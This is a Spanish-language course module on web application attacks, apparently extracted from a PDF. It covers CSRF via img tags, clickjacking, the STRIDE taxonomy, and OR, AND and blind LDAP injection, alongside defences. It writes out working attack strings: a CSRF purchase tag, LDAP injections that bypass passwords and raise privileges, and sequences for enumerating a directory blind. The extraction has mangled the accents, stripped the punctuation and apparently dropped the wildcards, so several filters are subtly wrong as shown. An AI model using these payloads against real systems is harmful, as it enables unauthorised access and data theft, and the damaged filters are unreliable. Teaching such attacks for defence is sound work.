Como ya se ha puesto de manifiesto muacuteltiples veces a lo largo de este moacutedulo es nece-sario conocer muy a fondo el funcionamiento de los navegadores En este caso vamos ahacer uso de una condicioacuten que todos los navegadores comparten pues no haremos usode coacutedigo Javascript sino que utilizaremos coacutedigo HTML

Los navegadores web al encontrarse una etiqueta ltimggt siguen la direccioacuten del recursoespecificado en el paraacutemetro src Esto implica una conexioacuten para intentar descargar laimagen y esta puede realizarse entre dominios Si la imagen no se encuentra disponible ola respuesta que se recibe desde el servidor no es interpretable como imagen se mostraraacuteel icono de imagen rota

Un atacante puede aprovechar esta caracteriacutestica de los navegadores para obligar a losusuarios afectados a realizar acciones que no desean Crear una imagen que apunte a ladireccioacuten URL anteriormente indicada generariacutea una peticioacuten por parte de todos los na-vegadores que visitasen la paacutegina que contiene el coacutedigo HTML y que como veiacuteamos in-tentariacutea comprar un objeto en el dominio wwwsitio001com El siguiente coacutedigo HTMLse deberiacutea introducir por ejemplo en un comentario del sitio wwwsitio002com

ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes gt

Como se puede observar la teacutecnica es tan simple como efectiva Es posible hacer usode Javascript para que el ataque sea mucho maacutes discreto Las imaacutegenes disponen de unevento onerror que se lanza al no poder cargar la imagen Esto es parecido al atributoalt que se muestra cuando un navegador no soporta imaacutegenes Usando este evento ymodificando el recurso referenciado en src podemos cargar una imagen existente despueacutesde hacer la modificacioacuten maliciosa a traveacutes de CSRF

ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes onerror=thissrc=logojpgthisonerror=nullgt

Igualmente seriacutea posible desencadenar un ataque de forma maacutes discreta usan-

do CSS (cascading style sheets hojas de estilo para paacuteginas web) para evitar que

la imagen rota que se genera se le muestre al usuario

El ataque anteriormente descrito se ha podido llevar a cabo gracias a que la

paacutegina de sitio001com acepta peticiones GET aquellas donde los paraacutemetros

se remiten en la URL en lugar de requerir POST para los enviacuteos de informacioacuten

Una peticioacuten GET siempre seraacute maacutes faacutecil de manipular que una peticioacuten POST

Esto es asiacute porque para generar una peticioacuten POST debemos escribir coacutedigo

Javascript el cual puede entrar en conflicto con posibles filtros antiXSS que

existan en la aplicacioacuten

CC-BY-NC-ND bull PID_00191662 21 Ataques a aplicaciones web

Sin embargo y aunque establecieacutesemos como requisito indispensable que las

peticiones se realicen mediante POST esto no nos garantizariacutea la seguridad de

nuestra paacutegina ni de nuestros clientes

Para mejorar la seguridad frente a un posible ataque podemos hacer uso de las

cabeceras Referer Estas indican la paacutegina desde la que se ha llegado a otra Se

utilizan por ejemplo para conocer cuaacuteles son las buacutesquedas que permiten a

un usuario llegar a un sitio web desde un buscador Una medida de proteccioacuten

aunque se puede saltar seriacutea comprobar que las peticiones realizadas a nuestras

paacuteginas o al menos a aquellas que impliquen acciones sensibles se realicen

desde nuestro propio dominio

La uacutenica proteccioacuten real frente a ataques de CSRF es la de establecer una serie

de valores numeacutericos que se generen de manera uacutenica en cada peticioacuten Estos

pueden ser establecidos como un CAPTCHA que el usuario debe introducir al

realizar acciones criacuteticas o como un valor oculto en un campo hidden dentro

del coacutedigo de la paacutegina que comprobamos cuando el usuario nos devuelve la

peticioacuten Estas medidas aunque tediosas de programar nos permiten asegurar

los datos de nuestros usuarios

Como usuarios de aplicaciones posiblemente vulnerables a CSRF podemos

tomar una serie de precauciones que intenten evitar un ataque mediante esta

teacutecnica Las medidas son

bull Cerrar la sesioacuten inmediatamente tras el uso de una aplicacioacuten

bull No permitir que el navegador almacene las credenciales de ninguna paacutegi-

na ni que ninguacuten servidor mantenga nuestra sesioacuten recordada maacutes que

durante el tiempo de uso

bull Utilizar navegadores distintos para las aplicaciones de ocio y las criacuteticas

Con esto nos aseguramos la independencia de las cookies de sesioacuten entre

navegadores

13 Clickjacking

Las teacutecnicas de clickjacking son una amenaza reciente para los navega-

dores y sus usuarios Se basan en engantildear a los usuarios para que ha-

gan clic sobre elementos de un sitio web donde ellos nunca lo hariacutean

voluntariamente

Esto se consigue superponiendo dos paacuteginas

CC-BY-NC-ND bull PID_00191662 22 Ataques a aplicaciones web

bull Una la principal con la paacutegina donde queremos que realmente los usua-

rios hagan clic en zonas especiacuteficas como por ejemplo un banco para rea-

lizar una transferencia

bull Otra la que sirve como engantildeo superpuesta sobre la anterior y con con-

tenidos que sirvan de aliciente para que el usuario realice los clics en las

zonas deseadas por ejemplo un pequentildeo juego donde debemos cliquear

en determinadas zonas

Esta teacutecnica se basa en el uso de iframes superpuestos Los iframes son elemen-

tos HTML que permiten la inclusioacuten de un recurso externo dentro de nuestra

paacutegina Aunque contienen una serie de limitaciones a la hora de acceder a

ellos mediante Javascript son de posible uso para engantildear al usuario

1) El primer paso es generar una paacutegina con la URL que se quiere secuestrar y

que seraacute la base sobre la que colocaremos el resto de elementos que nos haraacuten

falta para llevar a cabo esta teacutecnica

Figura 6 Paacutegina a secuestrar

2) El siguiente paso es colocar un iframe con su veacutertice superior izquierdo

exactamente en el lugar donde deseamos que el usuario engantildeado realice el

clic Esto se hace asiacute para asegurar que independientemente del navegador el

clic se ejecute sin problemas

CC-BY-NC-ND bull PID_00191662 23 Ataques a aplicaciones web

Figura 7 IFRAME sobre el sitio original

3) Finalmente se deberaacute efectuar una colocacioacuten y distribucioacuten de los elemen-

tos en la paacutegina que efectuacutea el engantildeo Es recomendable en este sentido crear

alguacuten tipo de incentivo para que el usuario se vea interesado en realizar el

clic que se persigue a fin de capturar su pulsacioacuten y transmitirla a la paacutegina

original

Figura 8 Colocacioacuten del IFRAME para engantildear al usuario

CC-BY-NC-ND bull PID_00191662 24 Ataques a aplicaciones web

Esta teacutecnica fue implementada y presentada por primera vez por Jeremiah

Grossman y Robert Hansen Ambos investigadores propusieron el ejemplo pre-

sentado en las imaacutegenes anteriores como meacutetodo para que un usuario activase

una serie de caracteriacutesticas no deseadas de su reproductor Flash Esto se logroacute a

traveacutes de una aplicacioacuten Flash ubicada en la paacutegina de Adobe para la configu-

racioacuten de seguridad del plugin como se puede observar en la siguiente imagen

Figura 9 Configuracioacuten de seguridad de Flash Player

Esta vulnerabilidad implica la necesidad de proteccioacuten por parte de los nave-

gadores ya que esta teacutecnica de nuevo utilizaraacute el navegador del usuario para

interactuar con el servidor Es por eso por lo que algunos navegadores aportan

directamente protecciones contra esta teacutecnica

bull Firefox no implementa por defecto ninguacuten meacutetodo para proteger a sus

usuarios frente a esta teacutecnica de ataque Sin embargo a traveacutes de la exten-

sioacuten NoScript que hace uso del meacutetodo ClearClick evita que un usuario

sea engantildeado para hacer clic sobre un elemento previamente falseado

CC-BY-NC-ND bull PID_00191662 25 Ataques a aplicaciones web

Figura 10 Clickjacking bloqueado

bull InternetExplorer8 incorpora de serie una proteccioacuten frente a esta teacutecni-

ca que permite a los programadores web incluir una cabecera x-frame-op-

tions que si figura establecida como deny impide que la paacutegina que la en-

viacutea sea renderizada dentro de un iframe Tambieacuten incluye la posibilidad de

establecer el valor como sameorigin para permitir que uacutenicamente pueda

ser cargada si la peticioacuten se realiza desde el mismo dominio

Figura 11 IFRAME bloqueado desde Internet Explorer 8

bull En el resto de navegadores como GoogleChromeOperaSafarieInter-

netExplorer en versiones anteriores a la 8 la uacutenica medida de proteccioacuten

y de tipo parcial consiste en deshabilitar todos los elementos dinaacutemicos

tales como Javascript Java o la opcioacuten de cargar iframes en nuestro nave-

gador

CC-BY-NC-ND bull PID_00191662 26 Ataques a aplicaciones web

2 Ataques de inyeccioacuten de coacutedigo

Las inyecciones de coacutedigo son algo a la orden del diacutea actualmente en Internet

Permitir que un usuario introduzca cualquier paraacutemetro en nuestra aplicacioacuten

puede dar lugar al acceso a informacioacuten privilegiada por parte de un atacante

Las teacutecnicas de ataque que puede sufrir un sistema se han catalogado de forma

geneacuterica con el acroacutenimo STRIDE Cada una de las siglas hace referencia a un

tipo de ataque

1)Spoofing(suplantacioacuten) Hace referencia a cualquier teacutecnica que permita

a un atacante tomar una identidad que no le corresponde Estas teacutecnicas de

ataque se usan de forma muy extendida en Internet a varios niveles

a) Nivel de enlace

Suplantacioacuten de direccioacuten fiacutesica Esta teacutecnica se usa para saltar protecciones

de direccioacuten MAC muy utilizadas en redes inalaacutembricas o reservas activas en

servidores DHCP ( dynamic host configuration protocol)

b) Nivel de Red

bull Suplantacioacuten de Direccioacuten IP Se utilizan para saltarse protecciones res-

tringidas a determinadas direcciones IP Se hicieron famosas en el ataque

a servicios Trusted Hosts en los que se permitiacutea a un usuario ldquologarserdquo

directamente en un servidor sin introducir contrasentildea si veniacutea ldquologadordquo

desde un servidor con una direccioacuten IP en concreto

bull Hijacking Buscan conseguir el control de una conexioacuten mediante la su-

plantacioacuten del validador que mantiene la sesioacuten abierta y autenticada En

el caso del nivel de red el objetivo es controlar el socket mediante la su-

plantacioacuten del nuacutemero de secuencia

c) Nivel de Aplicacioacuten

bull Suplantacioacuten de resultados DNS Se utilizan para conseguir que la viacutectima

crea que el servidor al que se conecta es el de verdad Teacutecnicas de modi-

ficacioacuten de archivos hosts implantacioacuten de servidores DHCP ataques de

envenenamiento de cacheacute a servidores DNS mediante la teacutecnica de ldquoLa fe-

cha del cumpleantildeosrdquo son utilizados para lograr este objetivo

bull Phising El impacto de esta teacutecnica de ataque en la sociedad ha hecho que

hoy en diacutea la mayoriacutea de la gente se preocupe por esto El objetivo de esta

teacutecnica es hacer creer a la viacutectima que se estaacute conectando a una aplicacioacuten

CC-BY-NC-ND bull PID_00191662 27 Ataques a aplicaciones web

mediante la suplantacioacuten de un sitio web completo Se apoya en las teacutec-

nicas de suplantacioacuten de DNS

bull Hijacking Es similar al de a nivel de red pero aquiacute se busca suplantar el va-

lidador que utiliza el nivel de aplicacioacuten Este puede ser un nuacutemero iden-

tificador de sesioacuten en una cookie un campo hidden de una paacutegina web o

un paraacutemetro por GET o por POST

bull Suplantacioacuten de usuarios El objetivo de esta teacutecnica de ataque es la de

usurpar la identidad de un usuario para realizar las acciones en su lugar

2)Tampering Implica el intento de forzar el funcionamiento de alguacuten meca-

nismo de seguridad mediante la falsificacioacuten o la alteracioacuten de la informacioacuten

Estas teacutecnicas son utilizadas para modificar ficheros de registro de acceso mo-

dificar la informacioacuten real o alterarla en su traacutensito desde el emisor al receptor

de la misma

3)Repudiation Son teacutecnicas mediante las que se evita la certificacioacuten o ga-

rantiacutea de un hecho Si un sistema no garantiza el no-repudio no se puede ga-

rantizar que la informacioacuten que contiene o emite sea veraz Tienen especial

relevancia en entornos de anaacutelisis forense o sistemas contractuales

4) InformationDisclosure Vulneracioacuten de la seguridad de un sistema que

implica que un usuario no permitido acceda a informacioacuten o documentacioacuten

sensible Este tipo de vulnerabilidades son especialmente importantes y estaacuten

protegidas por legislaciones especiales sobre todo los datos de caraacutecter perso-

nal En Espantildea se regula la seguridad de los datos mediante la Ley Orgaacutenica

de Proteccioacuten de Datos (LOPD)

5)DenialofService Las vulnerabilidades de denegacioacuten de servicio son aque-

llas que interrumpen la continuidad de los procesos de negocio o servicio de

una compantildeiacutea Estas vulnerabilidades pueden suponer un serio impacto en

los intereses de las compantildeiacuteas Los ataques basados en ordenadores zombis (

botnets) los ataques de parada de servicios o los ataques a las liacuteneas de comu-

nicacioacuten de las empresas son objetivos de este tipo de ataques

6)Elevationofprivilege Se produce este fallo de seguridad cuando un usuario

puede cambiar su nivel de privilegios dentro de un sistema para acceder a

informacioacuten o servicios que estaacuten restringidos para su identidad La elevacioacuten

de privilegios es una vulnerabilidad que suele ser el origen de brechas que

conllevan a denegacioacuten de servicio o descubrimiento de informacioacuten

A partir de esta clasificacioacuten de ataques es posible estudiar en profundidad la

implementacioacuten de ataques reales que normalmente podriacutea aparecer simul-

taacuteneamente en varias de las categoriacuteas anteriores

CC-BY-NC-ND bull PID_00191662 28 Ataques a aplicaciones web

La inyeccioacuten de comandos es una teacutecnica de ataque a aplicaciones web cuyo

objetivo principal es aprovechar conexiones a bases de datos desde aplicacio-

nes web no securizadas para permitir a un atacante la ejecucioacuten de comandos

directamente en la base de datos

21 LDAP Injection

Vamos a mostrar las posibilidades y riesgos de los ataques LDAP Injection en

aplicaciones web Con estos ejemplos se quiere demostrar coacutemo es posible

realizar ataques de elevacioacuten de privilegios de salto de protecciones de acceso

y de acceso a datos en aacuterboles LDAP mediante el uso de inyecciones de coacutedigo

LDAP Estas inyecciones de coacutedigo se han clasificado en inyecciones

bull And LDAP Injection

bull OR LDAP Injection y

bull Blind LDAP Injection

Para probar estas teacutecnicas de inyeccioacuten se han utilizado los motores ADAM

de Microsoft y el motor OpenLDAP un producto Software Libre de amplia

implantacioacuten a nivel mundial

211 LDAP Injection con ADAM de Microsoft

Para realizar todas las pruebas de las cadenas a inyectar se ha utilizado la herra-

mienta LDAP Browser que permite conectarse a distintos aacuterboles LDAP y un

cliente web sinteacutetico creado con el componente IPWorksASPLDAP de la em-

presa n Software para realizar las pruebas de ejecucioacuten de filtros inyectados

En la figura 12 se muestra la estructura que se ha creado de ejemplo en ADAM

Figura 12 Estructura del aacuterbol LDAP creado en ADAM

CC-BY-NC-ND bull PID_00191662 29 Ataques a aplicaciones web

Supongamos ahora que la aplicacioacuten web utiliza una consulta con el siguiente

filtro (cn=Impresora_1) Al lanzar esta consulta se obtiene 1 objeto como

se puede ver en la figura 13

Figura 13 Objeto de respuesta con el filtro (cn=Impresora_1)

Lo deseable por un atacante que realice una inyeccioacuten seriacutea poder acceder a

toda la informacioacuten mediante la inclusioacuten de una consulta que nos devolviera

todas las impresoras En el ejemplo vemos cuaacutel deberiacutea ser el resultado a ob-

tener con una consulta siguiendo el formato definido en las RFC sobre ADAM

(|(cn=Impresora_1)(cn=Impresora))

CC-BY-NC-ND bull PID_00191662 30 Ataques a aplicaciones web

Figura 14 Todas las impresoras

Sin embargo como se puede apreciar para construir ese filtro necesitariacuteamos

inyectar un operador y un pareacutentesis al principio En el ejemplo la inyeccioacuten

no resulta ser muy uacutetil pues se estaacute realizando en ambas condicionantes sobre

cn pero ese filtro solo estaacute creado para ilustrar la necesidad de inyectar coacutedigo

antes del filtro y en el medio del filtro Si probamos la inyeccioacuten propuesta

por Sacha Faust en ADAM (cn=Impresora_1)(|(cn=Impresora))

Figura 15 Inyeccioacuten sin resultados

CC-BY-NC-ND bull PID_00191662 31 Ataques a aplicaciones web

Como se puede apreciar en la figura anterior en la uacuteltima prueba la inyeccioacuten

no produce ninguacuten error pero a diferencia de las pruebas que realiza Sacha

Faust con SunOne Directory Server 50 el servidor ADAM no devuelve maacutes

datos Es decir solo devuelve los datos del primer filtro completo y el resto de

la cadena es ignorado

212 LDAP Injection con OpenLDAP

Para realizar las pruebas de inyeccioacuten en OpenLDAP se ha utilizado el aacuterbol

que ofrece para aplicaciones de prueba el propio proyecto OpenLPADorg cuya

estructura es la siguiente

Figura 16 Estructura del aacuterbol LDAP en OpenLDAP

Sobre esta estructura ejecutamos una consulta para buscar a un usuario obte-

niendo un uacutenico objeto como resultado (uid=kurt)

CC-BY-NC-ND bull PID_00191662 32 Ataques a aplicaciones web

Figura 17 Al ejecutar el filtro (uid=kurt) obtenemos un uacutenico resultado

Si quisieacuteramos ampliar el nuacutemero de resultados siguiendo el formato definido

en el RFC deberiacuteamos ejecutar una consulta en la que inyectaacuteramos un opera-

dor OR y un filtro que incluyera todos los resultados como se puede ver en la

siguiente imagen (|(uid=kurt)(uid=))

Figura 18 Todos los usuarios

Si realizamos la inyeccioacuten tal y como propone Sacha Faust en su documento

sobre LDAP obtendriacuteamos los siguientes resultados (uid=kurt)(|(uid=))

CC-BY-NC-ND bull PID_00191662 33 Ataques a aplicaciones web

Figura 19 Inyeccioacuten OpenLDAP Se ignora el segundo filtro

Como puede apreciarse en la figura 19 el servidor OpenLDAP ha ignorado

el segundo filtro y solo ha devuelto un usuario de igual forma que realizaba

ADAM

213 Conclusiones

Tras realizar estas pruebas podemos extraer las siguientes conclusiones

bull Para realizar una inyeccioacuten de coacutedigo LDAP en una aplicacioacuten que trabaje

contra ADAM u OpenLDAP es necesario que el filtro original es decir el

del programador tenga un operador OR o AND A partir de este punto se

pueden realizar inyecciones de coacutedigo que permitan extraer informacioacuten

o realizar ataques blind es decir a ciegas

bull Es necesario que la consulta generada tras la inyeccioacuten esteacute correctamente

anidada en un uacutenico par de pareacutentesis general o bien que el componente

permita la ejecucioacuten con informacioacuten que no se va a utilizar a la derecha

del filtro

bull La inyeccioacuten que queda compuesta seguacuten el documento de Sacha Faust

puede ser vista de dos formas diferentes una primera en la que seriacutea vista

como un uacutenico filtro con un operador y otra en la que se interpretaraacute co-

mo la concatenacioacuten de dos filtros En el primer caso tendriacuteamos un filtro

mal compuesto Por otro lado si la inyeccioacuten se ve como dos filtros es-

tariacuteamos hablando de un comportamiento particular de algunos motores

LDAP (que no comparten con OpenLDAP ni con ADAM) y ademaacutes con

un segundo filtro con un operador el operador OR innecesario

CC-BY-NC-ND bull PID_00191662 34 Ataques a aplicaciones web

A partir de este punto vamos a analizar diferentes tipos de inyecciones LDAP

que pueden suponer un riesgo de seguridad en los sistemas LDAP que esteacuten

siendo accedidos por aplicaciones web ldquoORrdquo LDAP Injection ldquoANDrdquo LDAP In-

jection y Blind LDAP Injection

214 ldquoORrdquo LDAP Injection

En este entorno nos encontrariacuteamos con que el programador ha creado una

consulta LDAP con un operador OR y uno o los dos paraacutemetros son solicitados

al usuario

(|(atributo1=valor1)(atributo2=valor2))

Supongamos en el ejemplo del aacuterbol LDAP que tenemos una consulta inyec-

table del siguiente tipo (|(cn=D)(ou=Groups)) Es decir que devuelve to-

dos los objetos cuyo valor en ldquocnrdquo comience por ldquoDrdquo o cuyo valor en ldquoourdquo sea

ldquoGroupsrdquo Al ejecutarla obtenemos

Figura 20 Consulta OR sin inyeccioacuten

Si esta consulta sufriera una inyeccioacuten de coacutedigo en el primer paraacutemetro po-

driacuteamos realizar una consulta que nos devolviera la lista de usuarios almace-

nados Para ello realizamos la inyeccioacuten en el primer valor de la siguiente ca-

dena void)(uid=))(|(uid=

CC-BY-NC-ND bull PID_00191662 35 Ataques a aplicaciones web

Figura 21 Lista de usuarios obtenida tras la inyeccioacuten

Al formarse la consulta LDAP esta quedaraacute construida de la siguiente forma (|

(cn=void)(uid=))(|(uid=)(ou=Groups)) permitiendo obtener la lis-

ta de todos los usuarios del aacuterbol LDAP

Otro ejemplo de esta teacutecnica es la siguiente aplicacioacuten de gestioacuten interna en

este caso tenemos un aplicativo que lanza una consulta LDAP del siguiente

tipo

(|(type=outputDevices)(type=printer))

Figura 22 Listado de impresoras y dispositivos de salida

Si el paraacutemetro type que va por GET en la URL es inyectable un atacante podriacutea

modificar el filtro de consulta LDAP con una inyeccioacuten del siguiente tipo

CC-BY-NC-ND bull PID_00191662 36 Ataques a aplicaciones web

(|(type=outputDevices)(type=printer)(uid=))(|(type=void))

Con esa inyeccioacuten el atacante obtendriacutea en este ejemplo la lista de todos los

usuarios como se puede ver en la figura 23

Figura 23 Acceso al listado de usuarios mediante OR LDAP Injection

215 ldquoANDrdquo LDAP Injection

En el caso de inyecciones en consultas LDAP que lleven el operador AND el

atacante estaacute obligado a utilizar como valor en el primer atributo algo vaacutelido

pero se pueden utilizar las inyecciones para mediatizar los resultados y por

ejemplo realizar escaladas de privilegios En este caso nos encontrariacuteamos con

una consulta del siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Supongamos un entorno en el que se muestra la lista de todos los documentos

a los que un usuario con pocos privilegios tiene acceso mediante una consulta

que incluye el directorio de documentos en un paraacutemetro inyectable Es decir

la consulta original es

(amp(directorio=nombre_directorio)(nivel_seguridad=bajo))

Un atacante podriacutea construir una inyeccioacuten del siguiente modo para poder

acceder a los documentos de nivel de seguridad alto

(amp(directorio=almacen)(nivel_seguridad=alto))(|(directorio=almacen)(nivel_seguridad=bajo))

Para conseguir este resultado se habraacute inyectado en el nombre del directorio

la siguiente cadena

almacen)(nivel_seguridad=alto))(|(directorio=almacen

CC-BY-NC-ND bull PID_00191662 37 Ataques a aplicaciones web

Un ejemplo de este ataque se puede ver en la siguiente aplicacioacuten En primer

lugar se va a realizar un acceso no autorizado a la aplicacioacuten web utilizando

una inyeccioacuten que evite la comprobacioacuten de la contrasentildea La aplicacioacuten lanza

una consulta LDAP del tipo

(amp(uid=valor_de_user)(password=valor_de_password)

El atacante inyectando la cadena slisberger)(amp)) en el valor del USER

obtendriacutea una consulta LDAP que siempre devolveriacutea al usuario slisberger

y por lo tanto conseguiriacutea el acceso a la aplicacioacuten

Figura 24 Acceso no autorizado mediante AND LDAP Injection

Y como se puede ver en la figura 25 el usuario consigue acceso al directorio

privado del usuario slisberger En este caso se ha utilizado el filtro (amp)

que es el equivalente al valor TRUE en los filtros LDAP

Figura 25 Directorio home del usuario

Como se puede ver en este caso el usuario ha accedido con privilegios de nivel

bajo y en la aplicacioacuten de mostrar documentos que se describioacute al principio

de este apartado solo tendriacutea acceso a los documentos de nivel bajo como se

puede ver en la figura 26

CC-BY-NC-ND bull PID_00191662 38 Ataques a aplicaciones web

Figura 26 Listado de documentos de nivel bajo

La consulta que se estaacute ejecutando es

(amp(directory=nombre_directorio)(level=low))

El valor de level lo estaacute cogiendo la aplicacioacuten de las variables de sesioacuten del

servidor sin embargo un atacante podriacutea inyectar en el nombre del directorio

el siguiente comando Documents)(level=High) De esta forma el coman-

do que se ejecutariacutea seriacutea

(amp(directory=Documents)(level=High))(level=low))

Permitiendo al atacante acceder a todos los documentos Se ha producido una

elevacioacuten de privilegios

CC-BY-NC-ND bull PID_00191662 39 Ataques a aplicaciones web

Figura 27 Elevacioacuten de privilegios mediante AND LDAP Injection

22 Blind LDAP Injection

Una de las evoluciones de las inyecciones de comandos son las acciones a

ciegas los ataques ldquoblindrdquo Es comuacuten encontrarse ya documentados los ataques

Blind SQL Injection pero de los ataques Blind LDAP Injection sin embargo no

se ha hablado nada Tambieacuten es posible realizar un ataque a ciegas para extraer

informacioacuten de un aacuterbol LDAP

El entorno para realizar un ataque a ciegas suele ser una aplicacioacuten web que

cumple dos caracteriacutesticas

bull La aplicacioacuten no muestra los resultados obtenidos de la consulta realizada

al aacuterbol LDAP

bull El uso de los resultados produce cambios en la respuesta http que el cliente

recibe

Para realizar un ataque a ciegas necesitamos poder crear la loacutegica para extraer

informacioacuten cambiando los resultados obtenidos con el filtro LDAP y obser-

vando los cambios en las respuestas http

CC-BY-NC-ND bull PID_00191662 40 Ataques a aplicaciones web

221 Blind LDAP Injection en un entorno ldquoANDrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(amp(atributo1=valor1)(atributo2=valor2))

Para realizar la inyeccioacuten debemos tener en cuenta que en un entorno AND

tenemos un paraacutemetro fijo que nos va a condicionar El entorno ideal es que el

atributo1 sea lo maacutes general posible por ejemplo objectClass o cn con lo

que podremos seleccionar casi cualquier objeto del aacuterbol Despueacutes deberemos

aplicarle un valor que sea true es decir que siempre seleccione objetos para

tenerlo fijado a valor true y utilizar como segundo atributo uno conocido que

tambieacuten nos garantice que sea true

Supongamos la siguiente consulta LDAP

(amp(objectClass=Impresoras)(impresoraTipo=Epson))

Que se lanza para saber si en el almaceacuten de una empresa hay impresoras Epson

de tal manera que el programador si recibe alguacuten objeto simplemente pinta

en la paacutegina web un icono de una impresora Epson

Estaacute claro que lo maacuteximo que conseguiremos tras la inyeccioacuten es ver o no el

icono de la impresora Bien iexclpues a ello Fijemos la respuesta positiva tal y

como hemos dicho realizando una inyeccioacuten del siguiente tipo

(amp(objectClass=)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

Lo que estaacute puesto en negrita seriacutea la inyeccioacuten que introduciriacutea el atacante

Esta inyeccioacuten debe devolver siempre alguacuten objeto en el ejemplo planteado

en la respuesta http veriacuteamos un icono de la impresora A partir de ahiacute podriacutea-

mos extraer los tipos de objectClass que tenemos en nuestro aacuterbol LDAP

222 Reconocimiento de clases de objetos de un aacuterbol LDAP

Sabiendo que el filtro (objectClass=) siempre devuelve alguacuten objeto deberiacutea-

mos centrarnos en el segundo filtro realizando un recorrido de la siguiente

forma

(amp(objectClass=)(objectClass=users))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=personas))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=usuarios))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=logins))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=))(amp(objectClass=foo)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 41 Ataques a aplicaciones web

De tal manera que todas aquellas inyecciones que devolvieran el icono de la

impresora en la paacutegina web seriacutean respuestas afirmativas que nos indicariacutean

la existencia de ese tipo de objetos

Otra forma maacutes eficiente seriacutea realizando un barrido en el espectro del alfa-

beto de posibles valores utilizando una buacutesqueda con comodines para ello

realizariacuteamos un aacuterbol que comenzariacutea por todas las letras del abecedario de

la siguiente forma

(amp(objectClass=)(objectClass=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De tal manera que seguiriacuteamos desplegando el aacuterbol de aquellas que hubieran

dado una respuesta positiva

(amp(objectClass=)(objectClass=aa))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ab))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=az))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=ba))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=)(objectClass=bb))(amp(objectClass=foo)(impresoraTipo=Epson))

Y asiacute sucesivamente con lo que desplegando siempre las positivas podriacuteamos

llegar a saber el nombre de todos los objetcClass de un sistema

Figura 28 Aacuterbol de despliegue Se profundizaraacute en todas las respuestas positivas (color verde)

Este mecanismo no solo funciona para objectClass sino que seriacutea vaacutelido

para cualquier atributo que un objeto compartiera con el atributo fijo Una

vez sacados los objectClass podriacuteamos proceder a realizar el mismo reco-

CC-BY-NC-ND bull PID_00191662 42 Ataques a aplicaciones web

rrido para extraer la informacioacuten de ellos por ejemplo si queremos extraer los

nombres de todos los usuarios de un sistema bastariacutea con realizar el barrido

con la siguiente inyeccioacuten

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

Este meacutetodo obliga a hacer un recorrido en amplitud por un aacuterbol cuya posi-

bilidad de expandirse en cada nodo siempre es igual al alfabeto completo Se

puede reducir este alfabeto realizando un recorrido para averiguar queacute carac-

teres no estaacuten siendo utilizados en ninguna posicioacuten en ninguacuten objeto utili-

zando un recorrido de la siguiente forma

(amp(objectClass=user)(uid=a))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=b))(amp(objectClass=foo)(impresoraTipo=Epson))

(amp(objectClass=user)(uid=z))(amp(objectClass=foo)(impresoraTipo=Epson))

De esta forma se pueden excluir del alfabeto aquellos caracteres que no hayan

devuelto un resultado positivo tras este primer recorrido Si deseaacuteramos bus-

car un uacutenico valor podriacuteamos realizar una buacutesqueda binaria de cada uno de

los caracteres utilizando los operadores relacionales lt= o gt= para reducir el

nuacutemero de peticiones

En los atributos que almacenan valores numeacutericos no es posible utilizar el co-

modiacuten para ldquobooleanizarrdquo la informacioacuten almacenada es por tanto necesa-

rio realizar la buacutesqueda de valores utilizando los operadores gt= y lt=

(amp(objectClass=user)(uid=kurt)(edadgt=1)(amp(objectClass=foo)(impresoraTipo=Epson))

223 Blind LDAP Injection en un entorno ldquoORrdquo

En esta situacioacuten tenemos una consulta generada en el lado del servidor del

siguiente tipo

(|(atributo1=valor1)(atributo2=valor2))

En este entorno la loacutegica que debemos utilizar es al contrario En lugar de fijar

el valor del primer filtro a un valor siempre cierto deberemos fijarlo a un valor

siempre falso y a partir de ahiacute extraer la informacioacuten es decir realizariacuteamos

una inyeccioacuten de la siguiente forma

(|(objectClass=void)(objectClass=void))(amp(objectClass=void)(impresoraTipo=Epson))

CC-BY-NC-ND bull PID_00191662 43 Ataques a aplicaciones web

Con esta inyeccioacuten obtendremos el valor negativo de referencia En el ejemplo

planteado de las impresoras disponibles deberemos obtener un resultado sin

el icono de la impresora Luego podremos inferir la informacioacuten cuando sea

verdadero el segundo filtro

(|(objectClass=void)(objectClass=users))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=personas))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=usuarios))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=logins))(amp(objectClass=void)(impresoraTipo=Epson))

(|(objectClass=void)(objectClass=))(amp(objectClass=void)(impresoraTipo=Epson))

De igual forma que en el ejemplo con el operador AND podriacuteamos extraer toda

la informacioacuten del aacuterbol LDAP utilizando los comodines

224 Ejemplos Blind LDAP Injection

Para mostrar la potencia de los ataques Blind LDAP Injection se ha creado

dentro de un aacuterbol LDAP sobre ADAM una estructura con objetos Printer En

la siguiente figura se pueden ver los atributos de un objeto de tipo Printer

Figura 29 Aacuterbol LDAP sobre ADAM Objeto tipo Printer

Sobre este aacuterbol LDAP trabaja una aplicacioacuten web que se conecta entre otros

repositorios a este aacuterbol para obtener informacioacuten En este caso tenemos una

aplicacioacuten programada en php llamada printerstatusphp que recibe co-

mo paraacutemetro el nombre de la impresora y construye una consulta LDAP de

la siguiente forma

(amp(cn=HP Laserjet 2100)(objectclass=printer))

